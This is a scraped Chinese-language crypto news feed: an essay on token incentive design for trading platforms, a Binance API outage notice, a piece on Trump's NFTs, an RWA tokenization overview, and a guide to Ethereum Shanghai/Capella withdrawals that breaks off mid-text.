正如前文所说，交易平台进行代币激励的目的是为了更快在跨边网络效应上构成领先，形成垄断优势。垄断的前提条件之一就是【用户难以或不愿意离开现有平台】，放在互联网产品运营里相关的指标就是【留存率】。 于是，交易平台是应当激励流动性还是激励交易，重要的考虑要素就是“哪个行为或行为对象”在激励衰减后更容易长期留存？更容易长期留存的用户和行为，就能为平台贡献更高的“用户终身价值”（LTV），它们应当是平台代币主要激励的对象。 那么，流动性提供者和交易者谁的行为习惯更为固化呢？我们目前的思考答案是流动性提供者，原因包括： 比如以Curve为代表的项目通过ve机制，引导LP用户们通过质押Crv代币提升自己的做市收益，这就提升了LP的迁移成本以及与平台利益的一致性。 交易者跟平台是瞬时性的资金交互关系，没有资金托管给协议，资金风险很小；而LP的资金授权给了平台的智能合约，风险更大，因此它们倾向于选择自己熟悉、安全记录好、历史久的平台提供流动性，尝试新的平台有较高的心理风险，即使APR更高也往往不愿意迁移。 而提供流动性虽然也有聚合器（把资金存入机枪池或收益聚合器），但是由于通过聚合器投入资金会多一道智能合约的资金授权风险，以及聚合器往往有更高的收益抽成（相较之下交易聚合器往往不收取明面的费用），人们往往倾向于自己直接做市，尤其是较大的资金几乎无需考虑收益复投造成的gas摩擦。 交易行为的频次是远高于做市的，而交易中产生的摩擦，比如GAS（包含MEV）和NFT交易版税，被协议和用户之外的第三方拿走了，等于激励的一部分损耗了。 即出现“为了获得激励而交易”的行为，这类行为看似也贡献了交易费用和协议收入，但是可能对项目进行激励的目的，也就是“通过代币补贴实现跨边网络效应的优势”并没有太大帮助，因为这些“虚增出来的交易行为”在激励停止后会立即消失，无法帮助协议取得“占据更大交易市场份额”的目的。 所以总体来说，LP用户相比单纯的交易用户与交易平台的关系更为紧密、长久，投入于LP一端的激励，或许能换回长期更高的用户总价值。或许也正是因为如此，目前大部分交易平台的激励还是以流动性激励为主，在交易激励上的探索相对较少。 尽管在大多数情况，流动性和交易二选一进行激励，对流动性进行激励往往是更稳妥的选择，但是对交易行为的激励探索仍然有着重要的价值，因为交易平台的最终收益还是来自于交易，对流动性的激励也是为了给交易者提供更好的交易体验而获得更高的交易量和交易费用。而在设计交易激励时，注意以下几点或许能取得更好的效果： 典型的案例就是AC在设计ve（3,3）项目Solidly时所提出的理念，即ve治理代币的持有人，只能获得那些自己投票的Pool的交易手续费，而不是无论投个哪个Pool，都能获得整个协议手续费。这会引导ve代币的持有人更多向那些交易量大、给协议贡献手续费更多的Pool（交易对）投票，让这些池子获得更多的流动性引导（增加给该Pool的代币排放激励），进而拥有更好的深度，并进一步获得更多的交易量和费用，等于在“变相激励交易”。目前除了Solidly的Fork项目之外，还有一些其他项目也开始尝试这样的激励方式，比如Pendle就采取了“把Pool手续费的80%分配给那些给Pool投票的ve用户”的做法，这意味ve用户会更愿意给交易量大的Pool投票，增加代币对LP的激励。 只要交易补贴的激励价值低于交易的摩擦成本，人们就不太会产生“为了激励而交易”的虚增交易行为，而是会在本身有交易需求时，理性选择有交易补贴的平台，进行那些“本身就要采取的交易行为”。长此以往，用户可能会倾向于在条件雷同的情况下更多在有激励的平台交易，当行为固化为习惯，补贴的目的也就实现了。 代币分配机制是长期、且审慎改动的，而运营活动是短期、灵活调整的。交易平台可以设计短期的交易活动，来完成新用户关键行为的激活（比如把用户在平台完成首次交易的行为定义为“激活”），或是为了特定的目的要达成短期的业务目标而设计交易大赛等活动（比如为了配合融资、打击竞争对手）。比如Arbitrum上的Gains仿盘项目Vela，就采用了周期短，奖励机制和金额持续调整的交易激励活动来吸引用户从Gains、Gmx等平台迁移过来。 以上对交易激励的设计方向，同样符合笔者前文所说的【留存率】思维，即关注那些能带来长期留存的真实用户行为进行更为精细的激励设计。 Web3商业发展至今，笔者的一个重要观察是：垄断在这里似乎更难以构建。这是由Web3世界自有的账户体系、无许可的资金流动和项目创建、开源透明的代码和可组合性所综合决定的，想要在这种环境下构建护城河是艰难的，因为用户变得更难以“圈养和独占”。 任何一个项目想要在这种“低壁垒”环境下存活与发展，只有持续地拼经营效率，这里的【经营】是一个宽泛的指代，它包含了产品创新、营销活动、团队管理等众多方面的工作，而准确、高效的激励设计也是其中的重要工作之一。可以想见的是，代币的分发和激励模式，必然将越来越需要随着竞争和用户需求的变化而进行迭代，变成一项长期工作，基于上帝视角设计的“无需改动的经济模型”对于大部分项目来说或许终将是一种妄念。 因此作为投资者，我们在甄选长期的投资标的时，项目团队是否具备“长期作战能力”、“持续的商业进取心”、“积极应对市场变化的意愿”，都应该是重点考察的品质。 天才想法带来的“轻松商业胜利”，在Web3也将越来越稀少。  ( 2 min )
    赵长鹏：币安期货UM合约受到一些问题影响，团队正在修复
    PANews 4月10日消息，币安首席执行官赵长鹏发推称：“币安期货UM Rest服务/API的一些问题，影响到了UI和API，其中CM（COIN-Margined）合约不受影响，只有UM（USD-Margined）合约受影响。币安团队正在修复，相关公告即将发布。”  ( 1 min )
    被刑事指控也能炒作？特朗普被拘捕后，其NFT系列出现回暖
    编译：Cindy，SophonLabs 4月4日，英国天空电视台和CNN等媒体报道称，美国前总统特朗普被正式拘捕，成为美国历史上第一位受到刑事罪名指控的前总统。据悉，特朗普被指控伪造商业记录，共面临34项重罪指控。他出席了曼哈顿刑事法院的听证会，并对全部指控提出了“无罪辩护”。 听证会结束后，特朗普离开法庭返回佛罗里达，并向支持者发表讲话，再次强调这起案件是“对我们国家的侮辱”，并称这是有政治动机的起诉。特朗普还表示，他将继续竞逐总统职位，参加2024年美国大选。目前，特朗普已经成为历史上第一个被刑事起诉的美国前总统。 这起事件引起了全球媒体的广泛关注和热议。一些政治分析人士认为，特朗普的拘捕和起诉将对美国政治和选举产生深远影响。同时，也有一些人对特朗普的指控提出了质疑，认为这是政治迫害。 因何被指控？ 据报道，美国前总统特朗普面临的指控是34项伪造商业纪录的一级罪名，这些指控都与一宗13万美元的封口费有关。这笔封口费是在2016年美国大选前，由特朗普的律师迈克尔·科恩向色情片女星斯托米·丹尼尔斯支付的，目的是阻止她公开声称曾与特朗普有染的事情。 据悉，特朗普在成为总统后不久，开始从一个处理他资产的信托基金和他自己的银行账户中，出具支票给科恩。这些支票被登记为“法务费用”，但实际上是封口费的报销。检控方认为，特朗普伪造商业纪录，掩盖了他及其他人的犯罪行为。 特朗普的辩护律师声称，这起指控是政治迫害的表现，且这笔封口费并非违法。但检方则认为，特朗普故意进行了欺诈行为，试图掩盖自己的不当行为。此外，特朗普的指控还引发了一些关于他的商业交易和纳税问题的质疑和调查。 这起事件引起了全球媒体的广泛关注，一些政治分析人士认为，这起案件将对特朗普的政治生涯产生深远影响，也将对美国政治和选举产生影响。无论如何，这起事件将继续成为全球关注的焦点，也将成为一个重要的法律案例，影响美国政治和司法体系的未来。 根据OpenSea的数据，特朗普的NFT系列在他出庭后的第一个小时内共售出30个，而在接下来的6个小时内共售出47个。 2022年12月，美国前总统特朗普以个人形象发行了45000个名为“特朗普数字交易卡（Trump Digital Trading Cards）”的NFT，一经发售就引起了哄抢。据OpenSea数据，该NFT系列在NFT交易平台上创造了761万美元的交易量，成为当时的Top1。 这个NFT系列是在Polygon区块链上铸造的，初始共创建了4.5万个NFT，起始价格为每件99美元。如果购买45张数字交易卡，将获得一张与特朗普共进晚餐的门票。这些NFT可以使用信用卡和WETH进行购买，并需要进行KYC和邮箱验证。据报道，这些NFT在推出不到一天的时间内就被全部售罄。（相关阅读：《45000个 NFT 18小时内售罄，特朗普NFT首秀赚得435万美元却引来质疑》） 每张NFT都有特朗普的个人形象插图，这些插图被重新设计成超级英雄、牛仔或宇航员等形象。据悉，插画家克拉克·米切尔设计了特朗普NFT的图像，该艺术家拥有40多年的数字插图和设计经验。根据NFT官网信息显示，特朗普售卖NFT所得收入不会用于其政治竞选活动。 但许多推特用户指出特朗普NFT所使用的图片存在版权侵权行为。这些用户研究了特朗普NFT使用的视觉元素，并发现了图片库的水印。其中一位用户指出，特朗普穿着飞行服的NFT上残留着水印，而另一张NFT则有Adobe公司图片库的部分水印。此外，NFT中许多具有猎人、宇航员、超级英雄等风格的图像，与亚马逊上的服装品牌照片完全相同。这些图片可能是商业图片，因此出现在特朗普NFT藏品中极有可能引发版权侵权的质疑。将未经授权的网络图片加工成NFT并以99美元的价格出售也已违法。 值得注意的是，在发行NFT之前，特朗普一直持负面态度对待加密货币。在接受福克斯商业频道采访时，他多次批评加密货币，称其为“非常危险的事情”，并多次警告称，投资加密货币“可能是一场等待发生的灾难”，并称自己“不是加密货币的忠实粉丝”。然而，特朗普发行了自己的NFT，这表明即使特朗普背离之前的言行，也不能拒绝财富的诱惑，展现了他商人的一面。 综上，随着选举、拘捕等话题的出现，特朗普 NFT交易量逐步回温，价格也有小幅波动。但由于NFT整体行情较差，小话题不足以吸引太大的资金和流量，所以未来相关NFT的走势还持观望态度。  ( 1 min )
    大机构都在布局的RWA赛道，或是下一轮叙事的开始
    撰文：Yinan 加密的初衷是什么 是否通过资本轮换博弈和通货膨胀奖励来进行短期的投机？还是通过创建一个更加透明、可访问和高效的全球经济来改善社会运作方式？ 这个问题人各有看法，但是不可否认的是，目前大部分的加密叙事都是在链上，而惠及普通消费者的有形现实世界用例却少之又少。传统市场中有867万亿美元等待着被基于区块链的技术颠覆，系统地改善全球经济的机会是真实存在的。 去中心化金融特点和现状 区块链的最初应用是代币的创建和移动，而DEFI的出现激发出了区块链的潜力。同时DEFI应用程序受益于以下属性： 原子结算：密码学和去中心化共识的结合为经济交易提供了强有力的最终保证——以防篡改的方式减少双花攻击和欺诈，从而提高资本效率并降低系统风险。 降低成本：DeFi 应用程序运行更高效、更自主，因为对中介的需求最小化。这有助于降低跨应用程序转移资金的转换成本，从而为应用程序级别的费用创建一个有效的市场。扩展技术还通过降低网络级费用使微交易变得可行。 透明度：公共区块浏览器和数据仪表板提供了对 DeFi 整体风险敞口和抵押的精细而清晰的洞察力。此外，DeFi 应用程序的源代码是开源的，任何人都可以查看。 可组合性：拥有一个用于运行自主代码的通用结算层，可以在新的和现有的 DeFi 应用程序之间实现无需许可的可组合性。开发人员不必担心被去平台化，进一步激励协作。 用户控制：非托管资产管理是通过私钥实现的，允许 DeFi 应用程序以信任最小化的方式与资产交互。去中心化自治组织 (DAO) 也允许集体拥有资产和应用程序。 去中心化的示例包括： P2P 支付（闪电网络、Flexa） 合成资产（Synthetix、Alchemix） 现货交易（Uniswap、Curve） 资产管理（Yearn、Beefy） 贷款市场（Aave、Compound） 保险（Nexus Mutual、Unslashed） 衍生品（GMX、dYdX） 尽管DEFI确确实实带来了非常多的好处，有一个主要的限制因素阻碍了 DeFi 实现全球范围的推广：目前大部分 DeFi 仅构成了一个循环经济体，几乎与传统企业和服务的现有全球经济没有联系。DeFi 历史上的迅速增长很大程度上与资本轮换游戏的兴起和由通货膨胀型代币奖励推动的不可持续收益有关。这相当于用超级计算机来玩扫雷游戏：潜力无穷但尚未得到充分利用。 DEFI行业在过去两年的蓬勃发展，TVL在21年12月2日达到了1800亿的最高峰，但随着Luna和Ftx等黑天鹅事件的发生，以及熊市的来临，DEFI的整体TVL已下降到了570多亿，并且因为很多协议的不可持续性，代币的价格从高点下跌达90%以上，并且整体的收益率也在降低，逐渐接近传统金融 (TradFi) 的收益率。 DeFi： TradFi： 是指存在于物理世界中的有形资产。这些例子包括房地产、商品和艺术品。现实世界的资产是全球金融价值的重要组成部分。2020 年全球房地产价值为326.5 万亿美元，而黄金市值为12.39 万亿美元。 金融经济并不是一成不变的。从公元前 3000 年的巴比伦帝国的使用粘土板来追踪债务到纸质到数字化，金融一直在演变，虽然发生这样的转变，但是各项财务记录还是发生在孤立的对账本上且效率低下，而DEFI的互操作性及分散流动性为传统资产提供了机会。 最流行的 RWA 示例：现金、金属（金、银等）、房地产、公司债务、保险、工资和发票、消费品、信用票据、特许权使用费等。 高盛（Goldman Sachs）推出欧洲投资银行 1 亿欧元区块链债券的数字资产平台。 Hamilton Lane 的 21 亿美元旗舰直接股票基金现在可通过 Polygon 进行证券化投资。 西门子最近在公共 Polygon 主网上发行了6000 万欧元的数字债券。该数字债券期限为一年，根据德国电子证券法（eWpG）发行，由 DekaBank、DZ Bank 和 Union Investment 购买。通过在公共区块链上发行债券，西门子能够消除对基于纸质的全球证书和中央清算的需求，从而允许将债券直接出售给投资者，而无需银行作为中介。 Mitsui 公司通过数字证券实现资产管理，该公司向零售客户提供稳定运营的房地产和基础设施投资。这些数字证券的标记化是与 LayerX 合作完成的，并在 SBI 和野村财团拥有的链上发行。 MakerDAO发行的稳定币DAI，就是采用 RWA 最大的体现。目前，该协议拥有价值超过 6.8 亿美元的 RWA 支持去中心化稳定币 DAI。通过引入 RWA 作为抵押品，MakerDAO 能够扩大向市场发行的 DAI 数量，加强其挂钩稳定性，并显着增加协议收入（22 年 12 月约 70% 的收入来自 RWA ）。 Aave的现实世界资产上线。 稳定币是现实世界资产在 DeFi 中成功使用的完美示例，市值排名前七的加密代币中有三个是稳定币（总计 1360 亿美元）。Circle 等发行公司维持经过审计的美元资产储备，并铸造 USDC 代币以供跨 DeFi 协议使用。 合成代币代表了另一个用例，涉及将 RWA 桥接到 DeFi。合成代币允许与货币、股票和商品挂钩的衍生品进行链上交易。在 2021 年牛市高峰期，领先的合成代币交易平台 Synthetix 在其协议中锁定了价值 30 亿美元的资产。 DeFi 借贷业务模型提供了最具成本效益的方式，可以在大量贷方和借方之间汇集和分配资金。它消除了中介机构并使资金流动自动化，同时为用户提供相对匿名性。 除了稳定币，作为RWAs最受欢迎的基础资产类别是房地产。其次是与气候相关的基础(例如碳信用额)和公共债券/股票基础。其次，新兴市场信贷(主要是公司债)基础等。 RWA链上协议分类，主要分为两大类： 列举一些RWA链上协议 Backed Finance—一家总部位于瑞士的代币化 RWA 初创公司——最近推出了其首款产品 bCSPX，代表代币化的标准普尔 500 ETF 股票。支持代币可在钱包之间自由转移，并支持 24/7 资本市场交易。Backed 是少数提供公共股权RWA的协议之一，需要根据瑞士dlt法案进行注册，并且必须完全支持每一个RWA资产，并拥有基础股票的所有权。在赎回的情况下，Backed Finance必须出售用户持有的股票，然后协调他们是否希望以现金或加密货币偿还。而不链接RWA的链上股权替代品有Synthetix。 Ondo Finance—-一个用于代币化 RWA 的 DeFi 平台—-最近对短期美国国债、投资级债券和高收益公司债券进行了代币化。Ondo 还推出了 Flux Finance ，这是一种 DeFi 借贷协议，用于根据代币化的美国国债借入无需许可的稳定币。 Maple Finance—一个基于区块链的信贷市场，发放的贷款总额接近 20 亿美元——正计划扩展到应收账款融资，规模可达 1 亿美元，并支持美国国债和保险再融资。 Centrifuge(CFG)—一个用于结构化信贷的链上生态系统，专注于将之前流动性差的债务证券化和代币化，总资产已融资 2.98 亿美元。它的代币化资产已整合到整个 DeFi 中，包括MakerDAO 上 2.2 亿美元的风险加权资产。 Goldfinch(GFI)——一种去中心化的信贷协议——拥有 1.01 亿美元的活跃贷款价值。该平台允许为专注于新兴市场的资产创建初级和高级部分，从而能够对风险/回报状况进行微调。 blocksquare(BST)—很早2018年就开始做BST，经营多年的资产代币化团队。其产品Ocenpoint.fi有4500万美元房地产资产在管理之中，4.9%的平均APY，有52处地产项目分布在全球12个地方。正规RWA项目，属于代币化的正经方向。 截至目前，信用协议提供的收益率高于大多数 DeFi 协议。各协议提供的APY如下： 截止到目前，这几个协议协议违约金额如下： 基于RWA的Layer1公链 目前，最流行的RWA协议是部署在以太坊和BNB等无许可的第1层区块链上。虽然部署到无许可的区块链有一些好处，例如易于开发和加密本地网络效应，但也有操作和技术方面的缺点。 在结构上，无许可区块链是公开的，不受任何监管或许可逻辑的限制。许多RWA协议，特别是那些将证券或基于信贷的资产引入区块链的协议，都需要遵守法规，并将其协议的使用限制在经历了严格的KYC/KYB流程的实体上。这些RWA协议的许可性质在结构上与无许可区块链提供的公共、自由浮动访问不一致。因此，目前的RWA协议采取了软硬结合的解决方案来限制对其平台的访问并遵守法规(例如手动白名单钱包地址，限制前端，令牌门控账户访问)。 在操作上，已建立的令牌标准和无权限区块链的透明度在RWA协议的上下文中可能不合适。无许可区块链上的令牌标准，允许开发和有效运行DeFi应用程序的智能合约。然而，这些约定可能会受到限制，而且在操作上，通常不能代表现实世界资产的特性。例如，如果公司债券在到期时有气球式支付，并将被标记为RWA，那么当前的标记标准可能无法捕获这种类型资产的任意支付逻辑。 此外，根据定义，无许可区块链上的所有操作和交易都是透明的，可以在公共分类账上进行审查。对于某些RWA市场，可能有一些敏感信息需要保密。例如，如果一个房地产要被表示为RWA，那么出于隐私考虑，出售该房产的人或购买该房产的人可能不想透露确切的位置。为了应对结构和操作上的限制，定制的第1层正在开发中，以满足RWA协议独特的、许可的需求。 例如，Inatain Markets最近推出了一个雪崩子网，专门为资产支持证券的链上发行和交易设计。另一个例子是Provenance区块链，这是专为无缝和安全而构建的第1层。 DEFI叙事的枯竭以及现实资产的市场，DEFI所拥有的可组合性、透明性、低手续费及高效性等特性为传统的现实资产的低效及高成本等痛点带来了更多的机会，例如为线下企业贷款提供了更多的可能性，原本只能面向某一区域内的群体，代币化后能够对接全球的市场，让借方还有贷方提供撮合交易池。近期，随着银行破产所带来的信任危机，让黄金代币化市值突破了10亿美金，DEFI赋能线下资产的叙事或将到来。 Chainlink blog：代币化现实世界资产 (RWA)：将 DeFi 扩展到全球水平 Blockworks：什么是真实世界资产？DeFi 最新收益率 Coingecko：在加密领域中的实物资产（Real World Assets，RWAs）和值得关注的 RWA 代币 RWA协议数据分析网站：https://app.rwa.xyz/#protocols 币安RWA研究报告PDF：chrome-extension://bocbaocobfecmglnmeaeppambideimao/pdf/viewer.html?file=https%3A%2F%2Fresearch.binance.com%2Fstatic%2Fpdf%2Freal-world-asset-report.pdf  ( 3 min )
    以太坊上海升级“终极指南”：你需要了解的一切
    作者：Andrew Breslin,Michiel Milanovic, Simran Jagdev 编译：Lynn MarsBit 以太坊正在经历一个基础设施快速发展的时期。自 2015 年以太坊区块链的首次实施推出以来，它已经经历了一系列计划的技术升级。每一次升级都使以太坊的愿景进一步成为焦点——成为开放的、去中心化的、可信的、无权限的、可编程的基础设施层，互联网、经济和我们大部分数字生活的未来就建立在这个基础上。 2022 年 9 月，以太坊合并统一了以太坊的共识和执行层。这是以太坊历史上的一个关键时刻，它带来了许多重要的改进，包括将网络的碳足迹减少 99.95%. 通过切换到权益证明共识机制，合并改变了整个以太坊网络的价值积累方式，并使新的 ETH 发行量减少了惊人的 88%. 在合并之前，EIP-1559 的引入使以太坊的交易更有效率，它将以太坊的 gas 费用系统从竞价系统，改为由两部分组成的系统——每个区块的标准基本费用（由协议燃烧），以及用户可以支付的可选小费（优先费），以加快交易速度。合并后，结合 EIP-1559 的燃烧率，导致了以太坊历史上最通缩的时刻，并加强了网络的安全性。 现在，以太坊社区正在团结起来支持路线图上的下一个计划升级——上海/卡佩拉升级。它之所以被双重命名，是因为它是以太坊执行层和共识层的首次同步升级，并且因为它将实现质押 ETH 提款而备受期待。 特别是，这次升级将使在共识层质押的 ETH 能够撤回到以太坊执行地址，这是自 2020 年 12 月 ETH 质押成为可能以来的首例。 提款的激活解决了以太坊路线图中的另一个「未知数」——可能会鼓励更多的验证者参与进来，并促进以太坊网络的进一步去中心化和安全。通过增加质押的可移植性，提款将导致质押供应商之间的竞争加剧——可能会推动该行业的进一步创新，并逐步降低进入的障碍。 使用第三方质押服务的质押者将获得机会，根据奖励最大化、验证器性能、用户体验的简单性和费用等因素，（重新）评估如何以及在哪里质押他们的 ETH。 独立质押（独立操作以太坊验证器）给网络带来了最多的去中心化和安全利益，但由于相关的技术和操作要求，对大多数零售质押者来说仍然具有挑战性。那些希望在没有这种操作开销的情况下质押的人可以选择一些不同的产品，从完全托管和中心化的供应商，到非托管的、分散的协议。每个质押者都有责任选择一个与价值观一致的合作伙伴，他们有信心维护质押者所重视的以太坊的特性，无论这些特性是什么。集体而言，质押者是以太坊价值的监护人。 上海/卡佩拉升级预计将是以太坊的一个重要事件。它将对质押者、以太坊质押生态以及更广泛的 DeFi 产生若干影响： 部分和全部取款将使长期质押者获得已被锁定两年以上的资金。然而，早期质押者已经证明了他们对以太坊的信心，他们可能更倾向于将这种新发现的流动性作为质押，而不是获取利润。 通过降低质押 ETH 的流动性风险，提款可以激发人们对流动性质押协议的信心，并使 ETH 质押在总体上成为更有吸引力的机会，特别是对于通常规避风险的机构。 最后，我们希望看到，随着人们对这些代币的信心和发行人之间的竞争的建立，越来越多的流动质押代币流入 DeFi 协议。 以太坊是基础设施层，互联网、经济和我们大部分数字生活的未来都建立在它上面。在全球范围内支持我们的数字未来，需要提高以太坊的可扩展性和安全性，同时保持网络的去中心化；换句话说，需要解决区块链三难问题。 该解决方案——这不是一项容易的任务——预计将分六个阶段交付。The Merge、the Surge、the Scourge、the Verge、the Purge，以及 the Splurge. 以太坊路线图的每个阶段在很大程度上都是独立于其他阶段的，并且是平行进行的。 以太坊的最新升级，以太坊合并，已于 2022 年 9 月 13 日成功执行。合并指的是以太坊执行层（EL）和共识层（CL）的联合，这标志着以太坊向权益证明（PoS）共识机制的过渡。这种脱离能源密集型的工作证明（PoW）共识机制的做法将以太坊的年化能耗降低了超过 99%。 合并后的以太坊作为一个单一的区块链运行，由两层组成：执行层是处理以太坊交易并向网络其他部分广播的地方，而共识层运行以太坊的 PoS 共识算法，并处理交易结算和最终结果。根据 Vitalik Buterin 的说法，这次升级使我们在以太坊更广泛的路线图中将将行进过半。 图 1 以太坊路线图 接下来是上海/卡佩拉升级，前者是 EL 升级的名称，卡佩拉是 CL 升级的名称。上海/卡佩拉升级的关键成果是，它将实现 已质押 ETH 的提款。 目前在以太坊 CL 上有已锁定的 ETH（即验证者余额）的质押者，将能够将其提取到以太坊执行地址。一个执行地址就是用户熟悉的以太坊主网上的标准地址。 本报告旨在将上海/卡佩拉升级置于更广泛的以太坊路线图中，并概述其实现的三个关键功能：更新验证人的提款凭证、部分提款和全部提款。 从这里开始，我们将深入研究提款的影响。我们将研究部分和全部提款可能对 ETH 的流动性供应产生的影响，并调查股权的可移植性增加是如何推动整个以太坊质押行业的竞争和快速创新。 如上所述，以太坊的下一次计划升级既被称为上海升级，也被称为卡佩拉升级。上海/卡佩拉之所以被双重命名，是因为它是以太坊的 EL 和 CL 的首次同时升级。原则上，同时升级两层并不是强制性的，所以为了精确起见，我们将使用 EL 和 CL 升级的各自名称。 作为以太坊 EL 和 CL 的首次同步升级，上海/卡佩拉也将是第一个由特定时间戳触发的以太坊分叉。除了合并之外，以前所有的分叉都是通过达到特定的区块编号来触发的。切换到由时间戳触发的分叉，使得 EL 和 CL 可以同步升级。 除了提款，上海/卡佩拉升级还将为以太坊虚拟机（EVM）提供一些小的技术改进。 然而，由于提款，或 EIP-4895，是在升级中提供的关键功能，本报告将集中讨论这个问题。 上海/卡佩拉升级的确切日期仍有待确定，但以太坊核心开发人员——他们自愿为这个开源软件的开发做出贡献——一直在朝着这个目标稳步前进。他们一直在各种测试网中测试分叉，最近的一次是 Sepolia 测试网，该测试网在 2023 年 2 月 28 日 UTC 凌晨 4 点 04 分成功进行了上海/卡佩拉升级。接下来将是 Goerli 测试网，之后，如果一切顺利的话，将是以太坊主网。 在其核心，Ethereum 的价值在于去中心化的验证者网络，他们共同构建和保护 Ethereum 区块链，以及 Ethereum 社区的更广泛的社会层。正是这种去中心化的、无许可的贡献者社区产生了以太坊的可信的中立性、抗审查性、开放性、不变性和近乎不可破解的安全性。出于这个原因，独立运行 Ethereum 验证器，也被称为独立质押，被认为是 Ethereum 质押的黄金标准，因为它给质押者和网络的去中心化带来了最大的好处。 通过确保没有一个实体对整个以太坊的决策拥有不成比例的权力，独立质押者对网络至关重要。一些像 ETHStaker 这样的社区，像 ethdo 这样的工具，以及像 Besu 和 Teku 这样的专门的执行和共识层客户团队，正在使越来越多的以太坊社区成员更容易独立运行一个以太坊验证器。 也就是说，独立运行验证器给一些用户带来了技术、操作和财务障碍。这些类型的以太坊质押者有很多选择，他们可以通过这些选择进行质押，包括像 Codefi 质押这样的非质押服务提供商，以及通过 MetaMask 质押可以获得的顶级流动性质押协议。 虽然质押者可以将运行验证器的操作方面委托给第三方，但选择一个价值观一致的合作伙伴，以维护质押者所重视的以太坊的特点，这个责任仍然在他们自己身上。这些人选择在哪里质押，以及与谁质押，对以太坊的去中心化有着至关重要的影响。 尽管是一个社区治理的系统，执行 Ethereum 路线图需要做出重大的基础设施变化，因此要做出重要的决定。为了做出这些决定，需要一个强大的去中心化治理过程，以便在受影响的利益相关者之间达成共识；换句话说，以便在每个以太坊社区成员之间达成共识。 以太坊的治理发生在链外，这意味着决策是通过非正式的社会讨论过程进行的。如果社区达成共识，变化就会在代码中实施。以太坊社区的每一个成员都参与到以太坊的治理过程中，包括各种类型的质押者。质押者是以太坊网络的监护人，通过独立质押，或以非质押方式将他们的股份分配给价值观一致的伙伴，质押可以用他们的质押「投票」，影响以太坊的未来方向。 对于大多数以太坊质押者来说，上海/卡佩拉升级提供了第一个机会来改变他们最初决定的质押方式和对象。这为各种质押者提供了一个机会，让他们考虑自己的个人价值，他们希望以太坊体现的价值，并以反映这种价值的方式进行质押。那些有能力这样做的人，如果他们的目标是自我主权并为以太坊的去中心化作出贡献，应该考虑独立运行一个验证器。其他人可以通过一个价值观一致的合作伙伴「用他们的质押投票」。通过这种方式，以太坊社区作为一个集体可以保护以太坊成为我们全球数字未来的去中心化信任基础设施的原因。 考虑到这一点，让我们深入了解提款，它们将如何运作，以及它们的影响在上海/卡佩拉升级后将如何在整个以太坊生态中发挥作用。 我们知道，上海/卡佩拉升级的关键成果是允许质押者提取他们所投的 ETH，但更具体地说，它将提供与提取有关的三个关键功能。 能够将以太坊验证者的提款凭证从旧的 0x00-类型（源自 BLS 密钥）更新为较新的 0x01-类型（源自以太坊地址）。 部分提款，或定期和自动地从一个活跃的验证者的余额（超过 32 个 ETH）中「掠夺」赚取的共识层奖励。 全额提款，或收回一个「退出」验证者的全部余额。 虽然部分提款和全额提款是不同的操作，但简要地指出它们之间的一些共同点是值得的。 首先，只有拥有较新的 0x01-类型的提款凭证的验证者才有资格进行部分和全部提款。拥有较早的 0x00-类型提款凭证的验证者可以通过更新他们的凭证到较新的版本来获得资格。然而，没有必要立即这样做，因为拥有 0x00-类型提款凭证的验证者将继续赚取奖励，就像他们自 Beacon 链的起源以来一样。 此外，部分和全额提款都有一个单一的、自动的提款过程。每隔 12 秒（每个时段），协议会「扫荡」以太坊的验证器集，并确定前 16 个有资格进行部分或全部提款的验证器。每个时段最多可以处理 16 笔提款，然而，全额提款的处理速度较慢，因为它们需要首先「退出」验证器，并有额外的延迟。 最后，执行部分或全部提款将没有相关的 gas 成本。虽然部分提款和全额提款都会导致以太坊地址的余额被记入提款金额，但它们不是以太坊的 EL 处理的交易。相反，提款被认为是系统级操作，或账户余额充值，其工作方式类似于 PoW 区块链中支付给矿工的 [coinbase 交易]。 (https://www.javatpoint.com/coinbase-transaction#:~:text=A coinbase transaction is the,also sent in this transaction.) 由于每个区块只允许 16 个这样的操作，而且相对于用户和智能合约交易，执行这些操作的成本可以忽略不计，所以提款不会产生 gas 成本。 激活一个新的以太坊验证器需要向以太坊的存款合约存入 32 个 ETH，以及其他数据的有效载荷。这个数据载荷的一部分是一个叫做验证者的提款凭证的字段，它定义了验证者的提款余额的发送地点。 目前，以太坊验证人可能有两个版本的提款凭证，它们由其提款前缀来区分，即：0x00-类型，或 0x01-类型。 只有拥有 0x01-类型凭证的验证者才有资格部分或全部提取其余额。这是由于这些提款凭证类型之间的技术差异造成的。也就是说，0x00-类型凭证来自 BLS 公钥，而 0x01-类型凭证则指向一个标准的以太坊地址。 如前所述，卡佩拉升级使「锁定」在以太坊 CL 上的 ETH（即验证器余额）有可能被提取，并记入 EL 上的一个以太坊地址。要做到这一点，被撤回的验证器必须有一个相应的以太坊执行地址，其撤回的余额被发送。简而言之，0x01-类型提款凭证提供这种相应的执行地址，而 0x00-类型则没有。 截至 2023 年 2 月 20 日，大约 58% 的活跃以太坊验证者拥有 0x00-类型提款凭证。当 Beacon 链在 2020 年底推出时，0x00-类型凭证是唯一可用的选择，而较新的 0x01-类型凭证直到 2021 年 3 月才被引入。因此，在此日期之前激活的所有验证者都有 0x00-类型凭证。 从图 2 中可以看出，大约 20% 的新激活的验证者仍然将他们的提款凭证设置为旧的 0x00-类型。这可能是由于独立质押者或机构使用过时的指南来激活验证器，也可能质押者有意做出的决定，他们希望避免从部分提款中自动获得流动资金的任何潜在税收影响。请注意，在许多司法管辖区，质押的税务影响还没有明确的定义，这不是税务建议。税收规则因司法管辖区而异，应咨询您所在司法管辖区的认证专业人员以获得建议。 图 2 按取款凭证类型划分的每周信标链存款 对于 0x00 认证的验证者，卡佩拉升级包括一项操作，将他们的提款凭证更新为 0x01-类型。这样做需要 0x00-类型凭证的验证器的所有者使用他们现有的提款凭证（BLS 密钥）来签署并通过共识层客户端向以太坊的 CL 提交提款凭证变更消息。 根据以太坊共识规范，0x00-类型凭证可以更新为 0x01-类型凭证的速度被限制为每区块 16 个（每 12 秒）。然而，除非立即需要流动资金，否则 0x00-类型凭证的验证者不应该感到有压力在任何特定日期前更新，因为他们将继续累积奖励，就像他们在 Beacon 链启动后一样。 注意，一旦验证者将其提款凭证从 0x00-类型更新为 0x01-类型，就不能再进行更改。这是从 0x00-类型提款凭证到 0x01-类型提款凭证的一次性、单向性更改。 部分提款是对超过 32 ETH 的验证者余额的定期「撇帐」。这将自动发生在任何验证器上：有一个 0x01-类型的提款凭证，并且是活跃的，并且有一个余额超过 32 ETH 的验证器。 部分提款对质押者有利，因为他们可以经常获得他们的验证器所赚取的 CL 质押奖励（扣除任何罚金），而不会产生任何 gas 费用，或不得不退出他们的验证器。此外，由于一个以太坊验证器的有效余额上限为 32ETH，验证器余额中的任何剩余 ETH 